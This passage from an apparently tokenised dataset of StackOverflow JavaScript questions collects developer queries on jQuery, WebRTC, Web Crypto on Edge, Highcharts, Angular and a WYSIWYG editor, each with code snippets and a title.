bunch of other fields that do n't even match the : criteria , with the row numbers . So basically it scatters the numbers around in other , unrelated , text fields ... I 'm pretty sure this is some sort of Chrome or jQuery bug , but I 'm just checking , since it seems like pretty basic functionality . BTW , if I introduce an alert in the code , it then works fine on Chrome , so this may have something to do with the timing of the document loading in Chrome : Go here to see example : http : //jsfiddle.net/eGutT/6/In this example , the steps you need to reproduce are : Go to URL using Chrome ( or Safari -- sometimes fails as well ) .You will notice that everything works as expected so far ( i.e . numbers filled down 1st column ) Click on the `` NAVIGATE AWAY '' link.Click backYou will see numbers filled in across top row AND down first columnYou will notice that I added console logging , to output the ID 's of the elements that are getting their value modified . The output of this log is : which indicates that only 3 elements were touched . However , from the result , you can see that 5 elements have numbers in them.Thanks , Galen function updateRowNums ( ) { $ ( ' # myTable ' ) .find ( 'tr ' ) .each ( function ( index ) { $ ( this ) .find ( 'input [ id $ = '' _rowOrder '' ] ' ) .val ( index ) ; } ) ; } $ ( document ) .ready ( function ( ) { // .. code truncated ... // updateRowNums ( ) ; } ) ; 'input [ id $ = '' _rowOrder '' ] ' function updateRowNums ( ) { $ ( ' # myTable ' ) .find ( 'tr ' ) .each ( function ( index ) { alert ( `` XXXXXXXXXXXXXXXXXXX '' ) ; $ ( this ) .find ( 'input [ id $ = '' _rowOrder '' ] ' ) .val ( index ) ; } ) ; } one_rowOrdertwo_rowOrderthree_rowOrder",jQuery finding wrong elements under Chrome "JS : I want to remove the `` New '' option in a entry on the main menu . Its that little right arrow that allows the user to see this menu at all , I 'd be okay with completely removing that.Here is what the element looks like in my sitemap : And based on the sitemap documentation I do n't think I can acheive this with the xml.So I guess I want to know if this is possible ? Or is this just part of the framework I ca n't get at ? Is there some clever javascript I can do ? The reason I want to remove it is because these are childen in a parent : child relationship and we only want users to create them from the context of the parent record . < SubArea Id= '' nav_cases '' Entity= '' incident '' DescriptionResourceId= '' Cases_SubArea_Description '' GetStartedPanePath= '' Cases_Web_User_Visor.html '' GetStartedPanePathAdmin= '' Cases_Web_Admin_Visor.html '' GetStartedPanePathOutlook= '' Cases_Outlook_User_Visor.html '' GetStartedPanePathAdminOutlook= '' Cases_Outlook_Admin_Visor.html '' / >",CRM 2011 Remove unwanted menu entry "JS : It is fairly easy to find the location of a div , when you know the div name . But is there an easy way to get the div id when all I know is the X/Y cords of the screen ? There will be no overlapping divs within a range of divs named ' # Items1 ' to ' # Items50 ' on a board ( another div ) called # HarbourRadar . Each div # Items can have more than one stacked image in it . Anyway any hint to find the div out from a location would be greatly appreciated . The following code ( taken from the answer below on this side ) gets the id of the div # HarbourRadar , that is partially right since the div # marker is layered ontop on that one , but does not return the div # marker that is selected - ie one with a higher Z-index . var pos = $ ( `` # marker '' ) .position ( ) ; alert ( document.elementFromPoint ( pos.left , pos.top ) .id ) ;","Is there a way to find the div name out from from location ( x , y cords )" "JS : In OpenLayers 3 is possible to change border color in a selection : But is possible to change only border-bottom ? Something like : style = new ol.style.Style ( { stroke : new ol.style.Stroke ( { color : 'blue ' , width : 2 } ) } ) ; style = new ol.style.Style ( { stroke : new ol.style.Stroke ( { color : 'blue ' , width : 2 , border-bottom : 2px dotted # ff9900 } ) } ) ;",Different color border-bottom in ol.style.stroke "JS : I 've got the following example.If I want to order these div 's in an ascending order ( 1,2,3,4,5 ) . I would normally do a loop and append the div 's in order to the parent div . This will however mean I always make 5 changes to the dom ( regardless of the order of the div 's ) , one for each div.You can however use the .insertBefore ( ) method to order the div 's correctly with only 2 changes ! Question 1 By making only 2 changes to the DOM I assume less reflow ocours , making the ' 2 change ' sorting action faster than the ' 5 change'sorting action . Is this correct ? Question 2 What sort of method/algorithm would be able to figure out to only do the insert 1 before 2 and 5 behind 4 ? Question 3 ( bonus ) Will this 'optimized ' algorithm still be faster as the amount of items incease ? Range 10 - 100 - 1.000 - 10.000 - 100.000Maybe to clarify : I am not searching for a way to figure out the order ( 1,2,3,4,5 ) in the most optimal way . At a certain point I know the order but I want to compare the order agains the order of the div 's and THEN figure out the least amount of operations . < div class= '' parent '' > < div data-id= '' 5 '' > < /div > < div data-id= '' 2 '' > < /div > < div data-id= '' 3 '' > < /div > < div data-id= '' 1 '' > < /div > < div data-id= '' 4 '' > < /div > < /div > 5,2,3,1,4Insert 1 before 25,1,2,3,4Insert 5 behind 4 ( using .insertBefore ( ) and .nextSibling ) 1,2,3,4,5",How can I sort DOM elements triggering the least amount of reflow ? "JS : I want splice the line with value = 3data.jsonI try this : Results : Only splice or only loop this code works . But , with both show this error : Uncaught TypeError : Can not read property ' 0 ' of undefined ( … ) It occurs in `` data.rows [ i ] [ 0 ] '' [ 3 , '' John '' , 90909090 ] { `` headers '' : [ [ { `` text '' : '' Code '' , '' class '' : '' Code '' } , { `` text '' : '' Code '' , '' class '' : '' Code '' } ] ] , '' rows '' : [ [ 0 , '' Peter '' , 51123123 ] , [ 3 , '' John '' , 90909090 ] , [ 5 , '' Mary '' ,51123123 ] ] , '' config '' : [ [ 0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ] ] , '' other '' : [ [ 13,0 ] ] } var size = data.rows.length ; // number of rowsvar del = 3 // Value of ID to be deleted for ( i = 0 ; i < size ; i++ ) { var id = data.rows [ i ] [ 0 ] ; if ( del==id ) { // if del = id - > splice data.rows.splice ( i,1 ) ; } }",splice row from array by value "JS : When I use Backbone 's model.destroy ( ) , it seems to automatically remove that view from the DOM.Is there a way for me to use destroy ( ) to send the DELETE request , but remove the view from the DOM myself ? Something like : this.model.destroy ( { wait : true , success : function ( ) { $ ( ' # myElement ' ) .animate ( { `` height '' : `` 0 '' , 1000 , function ( ) { $ ( ' # myElement ' ) .remove ( ) } } ) ; } } ) ;",Backbone.js ` model.destroy ( ) ` custom transitions ? "JS : I 'm writing my first peer to peer connection application using WebRTC , and my code to request an ice candidate from the peer , which I send over a socket.io connection , is triggering 6 times rather than once . This is really confusing because if I had mistakenly designed a big request loop , I would expect infinite recursions , not just 6 ( 8 onicecandidate events ) . So can anyone tell me why the follow code produced the 6 recursions ? Here 's the message handler , it simply sends a socket.io message controlled by the syntax : Muveoo.Messenger.input ( 'ice candidate request ' , data ) ; And here 's the code that handles the Ice Candidate Request , dont be confused by the if logic at the very top , the UID is just a unique ID assigned to each client to decide who should make the offer initially.And here 's the resulting logs to show what 's going on : Why is my Ice Candidate request firing 6 times instead of 1 ? 'ice candidate request ' : function ( data ) { console.log ( 'Debug 10 : Requesting Ice Candidate ' ) ; socket.emit ( 'ice candidate request ' , data ) ; } , if ( Muveoo.RTC.connectedPeers [ id ] .dataChannels [ name ] .UID < Muveoo.RTC.connectedPeers [ id ] .dataChannels [ name ] .peerUID ) { Muveoo.RTC.connectedPeers [ id ] .dataChannels [ name ] .offerConnection ( function ( ) { console.log ( ' [ Debug A ] : Offering Connection ' ) ; Muveoo.RTC.connectedPeers [ id ] .dataChannels [ name ] .pc.onicecandidate = function ( evt ) { console.log ( ' [ Debug A ] : onicecandidate Event Triggered . ' ) ; if ( evt.candidate ) { console.log ( ' [ Debug A ] : Sending Ice Candidate Request . ' ) ; Muveoo.Messenger.input ( 'ice candidate request ' , { target : id , candidate : evt.candidate , channel : name } ) ; } } ; Muveoo.RTC.connectedPeers [ id ] .dataChannels [ name ] .pc.ondatachannel = function ( evt ) { console.log ( 'got data channel ' ) ; Muveoo.RTC.connectedPeers [ id ] .dataChannels [ name ] = evt.channel ; Muveoo.RTC.connectedPeers [ id ] .dataChannels [ name ] .channel.onmessage = function ( evt1 ) { handleMessage ( evt1.data ) ; } ; Muveoo.RTC.connectedPeers [ id ] .dataChannels [ name ] .channel.message = function ( msg ) { Muveoo.RTC.connectedPeers [ id ] .dataChannels [ name ] .channel.send ( JSON.stringify ( msg ) ) ; } ; } ; socket.on ( 'session description ' , function ( data ) { console.log ( 'Debug 12 : Session Description Received ' ) ; Muveoo.RTC.connectedPeers [ data.target ] .dataChannels [ data.channel ] .desc = new Muveoo.RTC.connectedPeers [ data.target ] .dataChannels [ data.channel ] .sessionDescription ( msg.desc ) ; Muveoo.RTC.connectedPeers [ data.target ] .dataChannels [ data.channel ] .pc.setRemoteDescription ( Muveoo.RTC.connectedPeers [ data.target ] .dataChannels [ data.name ] .desc ) ; if ( Muveoo.RTC.connectedPeers [ data.target ] .dataChannels [ data.channel ] .UID > Muveoo.RTC.connectedPeers [ data.target ] .dataChannels [ data.channel ] .peerUID ) { /*They sent the sessionDescription first , so need an answer*/ Muveoo.RTC.connectedPeers [ data.target ] .dataChannels [ data.channel ] .pc.createAnswer ( function ( answer ) { /*The answer is this side 's local description*/ Muveoo.RTC.connectedPeers [ data.target ] .dataChannels [ data.channel ] .pc.setLocalDescription ( answer ) ; var data = { target : data.target , description : answer , channel : data.channel } ; socket.emit ( 'session description ' , data ) ; } ) ; } } ) ; } ) ; } [ Debug A ] : Offering Connectionrtc.js:94 [ Debug A ] : onicecandidate Event Triggered.rtc.js:101 [ Debug A ] : Sending Ice Candidate Request.messenger.js:91 Debug 10 : Requesting Ice Candidatertc.js:94 [ Debug A ] : onicecandidate Event Triggered.rtc.js:101 [ Debug A ] : Sending Ice Candidate Request.messenger.js:91 Debug 10 : Requesting Ice Candidatertc.js:94 [ Debug A ] : onicecandidate Event Triggered.rtc.js:101 [ Debug A ] : Sending Ice Candidate Request.messenger.js:91 Debug 10 : Requesting Ice Candidatertc.js:94 [ Debug A ] : onicecandidate Event Triggered.rtc.js:101 [ Debug A ] : Sending Ice Candidate Request.messenger.js:91 Debug 10 : Requesting Ice Candidatertc.js:94 [ Debug A ] : onicecandidate Event Triggered.rtc.js:101 [ Debug A ] : Sending Ice Candidate Request.messenger.js:91 Debug 10 : Requesting Ice Candidatertc.js:94 [ Debug A ] : onicecandidate Event Triggered.rtc.js:94 [ Debug A ] : onicecandidate Event Triggered.rtc.js:101 [ Debug A ] : Sending Ice Candidate Request.messenger.js:91 Debug 10 : Requesting Ice Candidatertc.js:94 [ Debug A ] : onicecandidate Event Triggered .",Why is my Ice Candidate request firing 6 times instead of 1 ? "JS : There are a few ways to get class-like behavior in javascript , the most common seem to be prototype based like this : and closure based approaches similar toFor various reasons the latter is faster , but I 've seen ( and I frequently do write ) the prototype version and was curious as to what other people do . function Vector ( x , y , x ) { this.x = x ; this.y = y ; this.z = z ; return this ; } Vector.prototype.length = function ( ) { return Math.sqrt ( this.x * this.x ... ) ; } function Vector ( x , y , z ) { this.length = function ( ) { return Math.sqrt ( x * x + ... ) ; } }",What style do you use for creating a `` class '' ? "JS : I am new in voiceXML and I am wondering how to read a value return by the server after post . I want voiceXML to read the server 's response . According to voiceXML documentation , I understand that the result should be in XML . Here is my node.js/express.js code that receives the result : Here is the screenshot showing that I am successfully receiving the posted content : Here is the screenshot showing that I am successfully sending the XML result : Here is my voiceXML file : app.post ( `` /getData '' , function ( req , res ) { console.log ( JSON.stringify ( req.body ) ) ; res.header ( 'Content-Type ' , 'text/xml ' ) .send ( ' < ? xml version= '' 1.0 '' ? > < vxml version= '' 2.0 '' > < block > < prompt > The time in Milwaukee is 10 < /prompt > < /block > < /vxml > ' ) ; } ) ; < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < ! DOCTYPE vxml PUBLIC `` -//BeVocal Inc//VoiceXML 2.0//EN '' `` http : //cafe.bevocal.com/libraries/dtd/vxml2-0-bevocal.dtd '' > < vxml xmlns= '' http : //www.w3.org/2001/vxml '' xmlns : bevocal= '' http : //www.bevocal.com/ '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' version= '' 2.0 '' > < form scope= '' dialog '' > < field name= '' name '' modal= '' false '' > < grammar src= '' grammars.grammar # Names '' / > < prompt > Whats your name ? < /prompt > < filled > < prompt > Hello < value expr= '' name '' / > < /prompt > < /filled > < /field > < field name= '' city '' modal= '' false '' > < grammar src= '' grammars.grammar # Cities '' / > < prompt > What city are you from ? < /prompt > < filled > < prompt > You are from < value expr= '' city '' / > < /prompt > < /filled > < /field > < field name= '' country '' modal= '' false '' > < grammar src= '' grammars.grammar # Countries '' / > < prompt > What country are you from ? < /prompt > < filled > < prompt > You are from < value expr= '' country '' / > < /prompt > < /filled > < /field > < field name= '' cityTime '' > < prompt > What city would you like the time for ? < /prompt > < grammar type= '' application/x-nuance-gsl '' > [ denver ( san francisco ) ] < /grammar > < /field > < field name= '' formatTime '' > < prompt > Twelve hour or twenty four hour clock ? < /prompt > < grammar type= '' application/x-nuance-gsl '' > [ [ twelve ( twenty four ) ] ? hour ] < /grammar > < /field > < block > < submit next= '' http : //65.29.170.122/getData '' method= '' post '' namelist= '' name city country cityTime formatTime '' / > < /block > < /form > < /vxml >",make voiceXML to read the result returned by the server "JS : Given the following two $ resource examples : [ NOTE : Example two contains no error handler ] And an interceptor that sits below all $ http requests : How can I make the interceptor not reject when the example resources $ promise.then ( ) contain no error callback ? If the call back exists as in exampleOne then I wish to reject , but if not as in exampleTwo then I wish to redirect to the error page thus changing the conditional to something like : Why ? Because only some situations in my project call for handling a 400 in a user friendly way , thus I 'd like to eliminate many duplicate error callbacks or having to place a list of uncommon situations in the interceptor . I 'd like the interceptor to be able to decide based on the presence of another handler in the promise chain . var exampleOne = $ resource ( '/path ' ) .save ( objectOne ) ; exampleOne. $ promise.then ( function ( success ) { } , function ( error ) { } ) ; var exampleTwo = $ resource ( '/path ' ) .save ( objectTwo ) ; exampleTwo. $ promise.then ( function ( success ) { } ) ; var interceptor = [ ' $ location ' , ' $ q ' , function ( $ location , $ q ) { function error ( response ) { if ( response.status === 400 ) { return $ q.reject ( response ) ; } else { $ location.path ( '/error/page ' ) ; } return $ q.reject ( response ) ; } return { 'responseError ' : error } ; } $ httpProvider.interceptors.push ( interceptor ) ; if ( response.status === 400 & & $ q.unresolvedPromises.doIndeedExist ( ) ) { ...",Detect existence of next handler in Angular JavaScript promise chain "JS : When you hover point on a Line chart tooltip displays wrong value of label from x-axis . I am using the latest version of Chart.JS 2.8.0Here is the fiddle : https : //jsfiddle.net/2mq1vt0o/This is all data from displayed dataset : https : //imgur.com/a/EMbiejkWhen I change the data range for example from 05-01-2018https : //imgur.com/a/SXr6ymvAs you can see , the line is on the right place but when I hover the point it displays a label which is the first value from labels which is wrong as it should display 06-01-2018.I would expect that when I hover a point it would display correct X axis value . { `` data '' : { `` datasets '' : [ { `` borderColor '' : `` rgba ( 74,118,12,1.000 ) '' , `` data '' : [ { `` x '' : `` 2018-01-06 '' , `` y '' : 0.242 } , { `` x '' : `` 2018-01-07 '' , `` y '' : 0.197 } , { `` x '' : `` 2018-01-08 '' , `` y '' : 0.15 } , { `` x '' : `` 2018-01-09 '' , `` y '' : 0.15 } , { `` x '' : `` 2018-01-10 '' , `` y '' : 0.15 } , { `` x '' : `` 2018-01-11 '' , `` y '' : 0.137 } , { `` x '' : `` 2018-01-12 '' , `` y '' : 0.11 } , { `` x '' : `` 2018-01-13 '' , `` y '' : 0.11 } , { `` x '' : `` 2018-01-14 '' , `` y '' : 0.21 } , { `` x '' : `` 2018-01-15 '' , `` y '' : 0.273 } , { `` x '' : `` 2018-01-16 '' , `` y '' : 0.3 } , { `` x '' : `` 2018-01-17 '' , `` y '' : 0.237 } ] , `` label '' : `` onlydoe '' , `` fill '' : false , `` pointRadius '' : 5 } ] , `` labels '' : [ `` 2018-01-05 '' , `` 2018-01-06 '' , `` 2018-01-07 '' , `` 2018-01-08 '' , `` 2018-01-09 '' , `` 2018-01-10 '' , `` 2018-01-11 '' , `` 2018-01-12 '' , `` 2018-01-13 '' , `` 2018-01-14 '' , `` 2018-01-15 '' , `` 2018-01-16 '' , `` 2018-01-17 '' ] } , `` options '' : { `` hover '' : { `` mode '' : `` x '' } } , `` type '' : `` line '' }",Wrong label value is displayed on point hover - Chart.JS "JS : According to this answer on a related question , it 's best to make an object explicitly unavailable if you want them to be garbage-collected.For all practical intents and purposes , does it matter whether that 's done with a null value or an undefined value ? Shortly put , will both of the below objects ( whatever they may have referenced originally ) be equally accessible for the garbage collector ? window.foo = null ; window.bar = void 0 ;",Are null and undefined equally valid for explicitly making objects unreachable ? "JS : I have Angular application made of following tiers : service ( ) used for computations and data-mungingfactory ( ) used as common data storage for multiple controllersfew controllers ( ) My controller exposes function from factory that , in turn , calls function from service . In HTML , I run controller function and display output to user : { { controller.function ( ) } } .I have noticed that when page is loaded , and on every subsequent model change , controller.function ( ) is run twice . Why does it happen ? How can I avoid unnecessary invocation ? See working example - open your browser JS console , click Run and observe that console.log ( ) line is executed two times.JavaScriptHTMLWhy does this function run multiple times for every single model change and how can I ensure that it runs only once ? I have tried assigning factory function output to controller variable ( and use { { controller.function } } in HTML - note lack of parentheses ) , but then function is run only once ever . It should run on new data when model is changed.Similar problems reported on StackOverflow all refer to ng-route module , which I am not using . angular.module ( 'myApp ' , [ ] ) .service ( 'Worker ' , [ function ( ) { this.i = 0 ; this.sample = function ( data ) { console.log ( this.i.toString ( ) + `` `` + Math.random ( ) .toString ( ) ) ; return JSON.stringify ( data ) ; } ; } ] ) .factory ( 'DataStorage ' , [ 'Worker ' , function ( worker ) { var self = this ; self.data = [ { } , { } ] ; self.getData = function ( ) { return self.data ; } self.sample = function ( ) { return worker.sample ( self.data ) ; } ; return { getData : self.getData , sample : self.sample } ; } ] ) .controller ( 'MainController ' , [ 'DataStorage ' , function ( DataStorage ) { var self = this ; self.data = DataStorage.getData ( ) ; self.sample = DataStorage.sample ; } ] ) .controller ( 'DataSource ' , [ function ( ) { var self = this ; self.data = [ `` one '' , `` two '' , `` three '' , `` four '' , `` five '' , `` six '' ] ; } ] ) < ! DOCTYPE html > < html ng-app= '' myApp '' > < head > < script data-require= '' angularjs @ 1.5.8 '' data-semver= '' 1.5.8 '' src= '' https : //opensource.keycdn.com/angularjs/1.5.8/angular.min.js '' > < /script > < script src= '' script.js '' > < /script > < /head > < body ng-controller= '' MainController as main '' > < div ng-controller= '' DataSource as datasource '' > < div ng-repeat= '' select in main.data '' > < select ng-model= '' select.choice '' ng-options= '' value for value in datasource.data '' > < option value= '' '' > -- Your choice -- < /option > < /select > < /div > < pre > { { main.sample ( ) } } < /pre > < /div > < /body > < /html >",Why does Angular run controller function twice for each model change ? "JS : I have a project where I need to upload multiple images asynchronously . It was working great everywhere ( Chrome , Firefox , MacOS Safari , Android Chrome , iOS Safari on an iOS simulator running 11.4 ) . However , on my iPhone using iOS Safari ( and a few other iPhones I tried all running 11.4 ) the existing requests were failing when I opened the image/file picker.I 've since distilled the problem down to some much more simple code : This is main.js : If I click the 'Upload Blob ' button and then do n't do anything else , it works 100 % of the time , never ever fails . However , if I click the upload blob button , then while it 's uploading I click a file input ( which is totally unrelated to everything else ) , choose one of the menu options ( Take Photo or Video , Photo Library , or Browse ) , then either choose something , or take a photo , or even just hit cancel to go back , the uploading blob will fail about 1/3 of the time with a 'Failed to load resource : The network connection was lost . ' error . It does n't matter what is being uploaded , ( image or blob or whatever ) . Here is a video showing what happens.It 's been 2 days of debugging this , and I 've found NOTHING of interest in my research and believe me I 've tried . Any help would be appreciated . Beginning to believe it may just be a bug with Safari . < html > < head > < script src= '' https : //code.jquery.com/jquery-2.2.4.min.js '' > < /script > < script src= '' /javascripts/main.js '' > < /script > < /head > < body > < p > Upload Progress : < span id= '' status '' > Not Started < /span > < /p > < p > Blob Upload : < button id= '' blobUpload '' > Upload Blob < /button > < /p > < p > File Input : < input type= '' file '' / > < /p > < /body > < /html > $ ( document ) .ready ( ( ) = > { $ ( `` # blobUpload '' ) .click ( ( ) = > { const status = document.getElementById ( `` status '' ) ; status.innerHTML = `` Started '' ; // Create an array about 2mb in size ( similar to an image ) ; // and append it to a form data object const intArray = new Uint8Array ( 2000000 ) ; const blob = new Blob ( [ intArray ] ) ; const formData = new FormData ( ) ; formData.append ( 'file ' , blob ) ; const request = new XMLHttpRequest ( ) ; request.upload.addEventListener ( 'progress ' , ( ev ) = > { const percent = Math.round ( ev.loaded / ev.total * 100 ) ; status.innerHTML = percent + ' % ' ; } , false ) ; request.upload.addEventListener ( 'error ' , ( ev ) = > { status.innerHTML = ' < span style= '' color : red '' > Network Error < /span > ' ; } ) ; request.open ( 'POST ' , '/upload ' , true ) ; request.send ( formData ) ; } ) ; } ) ;",Existing async requests failing with network error when file/image picker opened on iOS Safari "JS : I am using the Web Crypto API ( https : //www.w3.org/TR/WebCryptoAPI/ ) successfully on Chrome ( since first Web Crypto support ) , Firefox ( since first Web Crypto support ) and even on Safari TP ( 10.2 ) with support of a WebCrypto Liner a pollyfill for WebCrypto API ( https : //github.com/PeculiarVentures/webcrypto-liner ) . Now I want to test our code using Microsoft Edge . But encrypting and decrypting a sample ArrayBuffer already fails . Here the code : This code is failing in the decrypting phase ( step 3. in the code ) on Edge , while its working fine on Chrome , Firefox and even Safari . The wired part it that the decryptedDataPromise is rejected with an exception but the returned data doesnt look like an exception at all : Does anybody have a clue why this fails on Microsoft Edge ? var crypto = window.crypto ; if ( crypto.subtle ) { var aesGcmKey = null ; // always create a new , random iv in production systems ! ! ! var tempIv = new Uint8Array ( [ 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 , 11 , 12 , 13 , 14 , 15 , 16 ] ) ; // needed for edge , if additional data missing decrypting is failing var tempAdditionalData = new Uint8Array ( 0 ) ; var dataToEncrypt = new Uint8Array ( [ 1 , 2 , 3 , 4 , 5 ] ) ; // 1 . ) generate key var generateKeyPromise = crypto.subtle.generateKey ( { name : `` AES-GCM '' , length : 256 } , true , [ `` encrypt '' , `` decrypt '' ] ) ; generateKeyPromise.then ( function ( tempKey ) { aesGcmKey = tempKey ; // 2 . ) start encryption with this key var encryptedDataPromise = crypto.subtle.encrypt ( { name : `` AES-GCM '' , iv : tempIv , additionalData : tempAdditionalData , tagLength : 128 } , aesGcmKey , dataToEncrypt ) ; encryptedDataPromise.then ( function ( encryptedData ) { // 3 . ) decrypt using same key var decryptedDataPromise = crypto.subtle.decrypt ( { name : `` AES-GCM '' , iv : tempIv , additionalData : tempAdditionalData , tagLength : 128 } , aesGcmKey , encryptedData ) ; decryptedDataPromise.then ( function ( decryptedData ) { // 4 . ) compare decrypted array buffer and inital data console.log ( 'data decrypted ! ' ) ; console.log ( decryptedData ) ; } ) ; decryptedDataPromise.catch ( function ( error ) { console.log ( 'decrypting sample data failed ' ) ; console.log ( error ) ; } ) ; } ) ; // if 2 . ) is failing encryptedDataPromise.catch ( function ( error ) { console.log ( 'encrypting sample data failed ' ) ; console.log ( error ) ; } ) ; } ) ; // if 1 . ) is failing generateKeyPromise.catch ( function ( error ) { console.log ( 'creating aec gcm key failed ' ) ; console.log ( error ) ; } ) ; } [ object Object ] { additionalData : Uint8Array { ... } , iv : Uint8Array { ... } , name : `` AES-GCM '' , tagLength : 128 }",Web Crypto API using Microsoft Edge ( 38.14393.0.0 ) "JS : I 'm building upon the experience with a previous large scale angular 2 app . I 've been really careful to keep the rendering cycles under control . Keeping a log is how I investigate what happens.ControllerTemplateI 've been using only ngrx state store subscriptions in the smart components . This way I can avoid completely the need of using ActivatedRouteSnapshot or RouteReuseStrategyGuardSmart component with ChangeDetectionStrategy.OnPushUsing ng serve -- prod -- aot I 've been able to see that the rendering of parent components is executed onlz once if I use guards instead of resolvers . Using resolvers leads to multiple renderings to get the same initial state . In the Angular documentation guards are recommended for login and resolvers for data retrieval . Looks like this comes at the cost of multiple wasteful renderings if you have lots of streams of data getting resolved async . So the question . Is it ok to bypass this convention ? Using ngrx state store subscription and ditching resolvers + route subscription in the component in favor of guards that trigger the data request.Another strange behavior is that no matter what I do initally I still have a few AppCmp renderings which seem to be triggered by the observables themselves before the children comps are even Inited.EditI just had some trouble today . It was a mistake to use OnPush for container components such as pages ( smart components ) . The subscriptions will fire but the template will not receive the updated values . That 's expected from OnPush since no inputs are triggered . So I 'm using OnPush only on the dumb components , which is still a significant improvement since they do the bulk of the hard work.Edit 2 - Use resolvers , not guardsWell ... This did n't work out as expected . Let 's just say that if you have an observable that has n't fired yet , the guard will simply block the flow permanently . So my fancy example was working just because the observables had already some values inside that mapped to a true . After doing a thorough cleanup I found that my app stopped working.In essence , the following basic example works within a resolver but not a guard . This is because the observable ca n't get any value back the moment he asks for it so he just assumes it 's a no go . I 'll just have to investigate further where are those extra renderings coming from . There must be some faulty code somewhere . public debugTemplate ( ) { DEBUG.render & & debug ( 'Render FooCmp ' ) ; } { { debugTemplate ( ) } } import { Injectable } from ' @ angular/core ' ; import { CanActivate , ActivatedRouteSnapshot , RouterStateSnapshot } from ' @ angular/router ' ; import { Observable } from 'rxjs/Observable ' ; import { environment } from '../../../environments/environment ' ; import { DEBUG } from '../../../config/config ' ; import * as Debug from 'debug ' ; // Interfacesimport { Foo } from '../interfaces/foo ' ; // Servicesimport { BarService } from '../services/bar.service ' ; import { FooService } from '../services/foo.service ' ; // Debugconst debugOff = ( ... any ) = > { } , debug = Debug ( 'app : FooPageGuard ' ) ; @ Injectable ( ) export class FooPageGuard implements CanActivate { constructor ( private _barService : BarService , private _fooService : FooService ) { DEBUG.constr & & debug ( 'Construct FooPageGuard ' ) ; } canActivate ( route : ActivatedRouteSnapshot , state : RouterStateSnapshot ) : Observable < boolean > { DEBUG.guard & & debug ( 'Guard FooPageGuard ' ) ; return this._fooService.foo $ ( ) .switchMap ( foo = > this._barService.getBar ( foo ) ) .map ( data = > { if ( data ) { return true } } ) .first ( ) // Take first and enable the route .do ( foo = > DEBUG.guard & & debug ( 'Guard OK FooPageGuard : ' , foo ) ) } } // Ngrx state store subscriptionthis._fooService.foo $ ( ) .subscribe ( exp = > this.foo = exp ) ; return Observable.interval ( 1000 ) .take ( 1 ) // Needed to trigger the guard . Resolvers do just fine without .map ( ( ) = > true )",Should I use guards instead of resolvers to save rendering cycles in angular 2 ? "JS : I was wondering if it is possible to get the value of a stack in a series to use in my tooltip in Highcharts.I got it using the this.series.stackKey like the following example : But the tooltip shows me something like `` columnfemale '' and I want to see only the stack value : '' female '' .Fiddle : http : //jsfiddle.net/5nLa3saf/ $ ( function ( ) { $ ( ' # container ' ) .highcharts ( { chart : { type : 'column ' } , title : { text : 'Total fruit consumtion , grouped by gender ' } , xAxis : { categories : [ 'Apples ' , 'Oranges ' , 'Pears ' , 'Grapes ' , 'Bananas ' ] } , yAxis : { allowDecimals : false , min : 0 , title : { text : 'Number of fruits ' } } , tooltip : { formatter : function ( ) { return ' < b > ' + this.x + ' < /b > < br/ > ' + this.series.name + ' : ' + this.y + ' < br/ > ' + 'Total : ' + this.point.stackTotal + ' Stack : ' + this.series.stackKey ; } } , plotOptions : { column : { stacking : 'normal ' } } , series : [ { name : 'John ' , data : [ 5 , 3 , 4 , 7 , 2 ] , stack : 'male ' } , { name : 'Joe ' , data : [ 3 , 4 , 4 , 2 , 5 ] , stack : 'male ' } , { name : 'Jane ' , data : [ 2 , 5 , 6 , 2 , 1 ] , stack : 'female ' } , { name : 'Janet ' , data : [ 3 , 0 , 4 , 4 , 3 ] , stack : 'female ' } ] } ) ; } ) ;",Highcharts - How to get a value of a stack in a series ? "JS : I am using background image in the canvas . I would like to rotate only background image by 90 degree but context should not be rotated . If I use css transform then whole canvas get rotated . How can I do ? var can = document.getElementById ( 'canvas ' ) ; var ctx = can.getContext ( '2d ' ) ; ctx.rect ( 20 , 30 , 200 , 40 ) ; ctx.strokeStyle= '' red '' ; ctx.lineWidth= '' 2 '' ; ctx.stroke ( ) ; $ ( function ( ) { // $ ( ' # canvas ' ) .css ( { 'transform ' : 'rotate ( 90deg ) ' } ) ; } ) ; # canvas { background : # 789 ; border : 1px solid ; } body { margin:10px ; } < canvas id= '' canvas '' width= '' 400 '' height= '' 300 '' style= '' background-image : url ( http : //placehold.it/1600x800 ) ; background-size : 100 % ; background-position : -80px -50px ; '' > Your browser does not support HTML5 Canvas < /canvas >",Rotate Image but not Canvas JS : I could n't find any documentation or specification regarding src attribute of script tag.Browsers manipulate a value of this attribute that it always reflects absolute URI . Let 's consider a following example : domain : https : //example.comscript tag : < script src= '' /path/a/b/c.js '' > < /script > As you can see there 's difference between src and getAttribute ( `` src '' ) .I 'd like to know where I can find details about it ( documentation / specification / source code of browser 's implementation ) .What is the support of this feature among browsers ( including mobile ) ? script.getAttribute ( `` src '' ) > /path/a/b/c.js script.src > https : //example.com/path/a/b/c.js,Why does script.src work as it does ? "JS : What do you normally write when you 're testing for the return value of indexOf ? vsWould one method be preferred over the other ? I 'm actually posing this question for any function in any language that returns -1 on error.I normally prefer the < 0 approach , because if the function is extended to return -2 on some other case , the code would still work.However , I notice that the == -1 approach is more commonly used . Is there a reason why ? if str.indexOf ( `` a '' ) < 0 if str.indexOf ( `` a '' ) == -1",Best practice for testing return value of indexOf "JS : In wysiwyg text editor source view , I have this simple html : However , when I switch from source view to visual view , wysiwyg change my html code to this : However , I would like to keep my html as it was without changing by text editor.Edited : In fact , wysiwyg converted single html attribute to append with `` = '' and double quotes `` `` sign . I tested write < input type= '' checkbox '' checked > in source view of wysiwyg , it will be converted attribute checked to like this : since wysiwyg treated single attribute checked as an invalid attribute , therefore it append equal sign `` = '' and double quote `` '' to it outputting < input type= '' checkbox '' checked= '' '' > . You can test it in code snippet above . This is , therefore , my jinja2 syntax above was appended with = and `` `` which causes an syntax error exception during run time . I tried to used regular expression to help to keep wysiwyg from changing my html like this : But it still change my html during switching view between code view and visual view.How can I do to keep my html unchanged from wysiwyg summernote editor ? Thanks . < span style= '' font-family : Moul ; '' { % if loop.first=='first ' % } first= '' '' { % endif % } > Hello Text < /span > < span style= '' font-family : Moul ; '' { % if= '' '' loop.first= '' ='first ' % } '' { % endif % } = '' '' > Hello Text < /span > $ ( ' # summernote ' ) .summernote ( { height : 300 } ) ; body { padding : 40px ; } < script src= '' https : 